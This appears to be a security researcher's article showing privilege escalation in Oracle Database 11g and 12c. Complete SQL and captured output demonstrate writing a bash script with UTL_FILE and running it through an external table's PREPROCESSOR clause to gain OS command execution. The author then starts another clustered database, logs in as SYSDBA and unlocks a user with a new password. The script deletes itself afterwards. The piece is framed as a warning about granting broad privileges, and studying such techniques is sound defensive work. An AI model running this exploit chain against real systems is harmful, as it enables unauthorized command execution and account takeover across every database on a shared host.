Oracle Hacking Session

Kamil Stawiarski (@ora600pl)

Database Whisperers sp. z o. o. sp. k.
ul. Płocka 5a
01-231 Warszawa
www.ora-600.pl

Environment description

- OS: Oracle Linux Server release 6.5 x64
- Database: Oracle Database 11.2.0.4 EE ; Oracle Database 12.1.0.2 EE

Experiment details

In the first part of this article (http://ora-600.pl/art/privilege_escalation.pdf) I showed how to escalate privileges from — for example — ANALYZE ANY to CREATE ANY DIRECTORY, EXECUTE ANY PROCEDURE and — at the end — to login through SSH to operating system. Most of my students thinks that there is a simple solution to this problem: just block the SSH for the oracle user :) Unfortunately the problem is a little bit more complex…

A lot of companies that creates software based on the Oracle database, seems to think that there is nothing wrong in an application user who can create any directory object or execute any procedure — this is the only user in the database, so what is the problem? But they forget about one thing — these days a lot companies consolidates databases into one appliance — like for example Oracle Exadata. So you can have a lot of different databases in one physical cluster. And what if I tell you that you can execute any OS command as oracle user, having just access to a database user with appropriate privileges? What if I tell you that in such situation DBA=SYSDBA? And not just SYSDBA for one database but for every database in a cluster?

Let's rock :)

I will use the feature related to external tables — in fact I need three elements to demonstrate this example:

- CREATE ANY DIRECTORY
- UTL_FILE
- Ability to create external table

The 11G database introduced PREPROCESSOR clause for external tables which can be very useful while reading compressed files. The complete description of this feature you can find in here:
http://download.oracle.com/otndocs/products/database/enterprise_edition/utilities/pdf/xtables_preproc11g_1009.pdf

Create the directories

```
SQL> ora-600:bin inter$ ./sdsql hr/hr@skiper:1521/kowalsky

sdsql: Release 4.1.0 Beta on Pn gru 22 12:36:39 2014

Copyright (c) 1982, 2014, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

SQL> CREATE OR REPLACE DIRECTORY exec_dir AS '/bin';

Directory EXEC_DIR created.

SQL> CREATE OR REPLACE DIRECTORY temp_dir AS '/tmp';

Directory TEMP_DIR created.
```

Use UTL_FILE to generate the script

```
SQL> declare
  2    v_file utl_file.file_type;
  3  begin
```

```
  4    v_file:=utl_file.fopen('TEMP_DIR','.oralock.log','w');
  5    utl_file.put_line(v_file,'export
PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/oracle/bin:/u01
/app/oracle/product/12.1.0/grid/bin');
  6    utl_file.put_line(v_file,'export
ORACLE_HOME=/u01/app/oracle/product/12.1.0/grid');
  7    utl_file.put_line(v_file,'export ORACLE_SID=+ASM');
  8    utl_file.put_line(v_file,'export PATH=$ORACLE_HOME/bin:$PATH');
  9    utl_file.put_line(v_file,'crsctl stat res -t');
 10    utl_file.put_line(v_file,'ps aux | grep pmon');
 11    utl_file.put_line(v_file,'rm /tmp/.oralock.log');
 12    utl_file.fclose(v_file);
 13  end;
 14  /
anonymous block completed
```

Use external table with PREPROCESSOR to execute the script

```
SQL> CREATE TABLE exec_command (
  2    txt varchar2(4000)
  3  )
  4  ORGANIZATION EXTERNAL (
  5    TYPE ORACLE_LOADER
  6    DEFAULT DIRECTORY temp_dir
  7    ACCESS PARAMETERS (
  8      RECORDS DELIMITED BY NEWLINE
  9      PREPROCESSOR exec_dir:'bash'
 10      FIELDS TERMINATED BY ','
 11      MISSING FIELD VALUES ARE NULL
 12      (
 13        txt
 14      )
 15    )
 16    LOCATION ('.oralock.log')
 17  );

Table EXEC_COMMAND created.


SQL> select * from exec_command;
TXT
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
----

--------------------------------------------------------------------------------
Name           Target  State        Server                   State details
--------------------------------------------------------------------------------
Local Resources
--------------------------------------------------------------------------------
ora.ASMBACKUP.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.DATA11G.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.DATA12C.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.FASTDATA11G.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.FASTDATA12C.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.LISTENER.lsnr
               ONLINE  ONLINE       skiper                   STABLE
ora.asm
               ONLINE  ONLINE       skiper                   Started
ora.ons
               OFFLINE OFFLINE      skiper                   STABLE
--------------------------------------------------------------------------------
Cluster Resources
--------------------------------------------------------------------------------
ora.cssd
      1        ONLINE  ONLINE       skiper                   STABLE
ora.diskmon
      1        OFFLINE OFFLINE                               STABLE
ora.evmd
      1        ONLINE  ONLINE       skiper                   STABLE
ora.kowalsky.db
      1        ONLINE  ONLINE       skiper                   Open
ora.private.db
```

```
      1        OFFLINE OFFLINE                               Instance Shutdown
                                                             ABLE
ora.rico.db
      1        OFFLINE OFFLINE                               Instance Shutdown
                                                             ABLE
--------------------------------------------------------------------------------
oracle    3694  0.0  0.2 1435732 21124 ?       Ss   11:52   0:00 asm_pmon_+ASM
oracle    3774  0.0  0.1 3391636 17496 ?       Ss   11:52   0:01 ora_pmon_kowalsky
oracle    4585  0.0  0.0 103308   800 ?        S    13:13   0:00 grep pmon

 42 rows selected
```

As you can see, you can execute any command you like. For example — there are three databases registered in a grid infrastructure — I can start the database called „rico” and unlock and change the password for user „oe”.

```
SQL> declare
  2    v_file utl_file.file_type;
  3  begin
  4    v_file:=utl_file.fopen('TEMP_DIR','.oralock.log','w');
  5    utl_file.put_line(v_file,'export
PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/oracle/bin:/u01
/app/oracle/product/12.1.0/grid/bin');
  6    utl_file.put_line(v_file,'export
ORACLE_HOME=/u01/app/oracle/product/12.1.0/grid');
  7    utl_file.put_line(v_file,'export ORACLE_SID=+ASM');
  8    utl_file.put_line(v_file,'export PATH=$ORACLE_HOME/bin:$PATH');
  9    utl_file.put_line(v_file,'srvctl start database -d rico');
 10    utl_file.put_line(v_file,'crsctl stat res -t');
 11    utl_file.put_line(v_file,'export
PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/oracle/bin:/u01
/app/oracle/product/12.1.0/dbhome_1/bin');
 12    utl_file.put_line(v_file,'export
ORACLE_HOME=/u01/app/oracle/product/12.1.0/dbhome_1');
 13    utl_file.put_line(v_file,'export ORACLE_SID=rico');
 14    utl_file.put_line(v_file,'export PATH=$ORACLE_HOME/bin:$PATH');
 15    utl_file.put_line(v_file,'sqlplus "/ as sysdba" << !');
 16    utl_file.put_line(v_file,'alter user oe account unlock identified by oe;');
 17    utl_file.put_line(v_file,'select instance_name from v\$instance;');
 18    utl_file.put_line(v_file,'!');
 19    utl_file.put_line(v_file,'rm /tmp/.oralock.log');
 20    utl_file.fclose(v_file);
 21  end;
 22  /
anonymous block completed

SQL> select * from exec_command;
TXT
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
----
--------------------------------------------------------------------------------
Name           Target  State        Server                   State details
--------------------------------------------------------------------------------
Local Resources
--------------------------------------------------------------------------------
ora.ASMBACKUP.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.DATA11G.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.DATA12C.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.FASTDATA11G.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.FASTDATA12C.dg
               ONLINE  ONLINE       skiper                   STABLE
ora.LISTENER.lsnr
               ONLINE  ONLINE       skiper                   STABLE
ora.asm
               ONLINE  ONLINE       skiper                   Started
ora.ons
               OFFLINE OFFLINE      skiper                   STABLE
--------------------------------------------------------------------------------
Cluster Resources
--------------------------------------------------------------------------------
ora.cssd
      1        ONLINE  ONLINE       skiper                   STABLE
ora.diskmon
```

```
      1        OFFLINE OFFLINE                               STABLE
ora.evmd
      1        ONLINE  ONLINE       skiper                   STABLE
ora.kowalsky.db
      1        ONLINE  ONLINE       skiper                   Open
ora.private.db
      1        OFFLINE OFFLINE                               Instance Shutdown
                                                             ABLE
ora.rico.db
      1        ONLINE  ONLINE       skiper                   Open
--------------------------------------------------------------------------------

SQL*Plus: Release 12.1.0.2.0 Production on Mon Dec 22 13:44:06 2014

Copyright (c) 1982


Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning
and Real Application Testing options

SQL>
User altered.

SQL>
INSTANCE_NAME
----------------
rico



TXT
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
------------------------------
SQL> Disconnected from Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 -
64bit Production
With the Partitioning
and Real Application Testing options

 60 rows selected
```

Scary, isn't it? Just be careful about the permissions you are granting to your application user.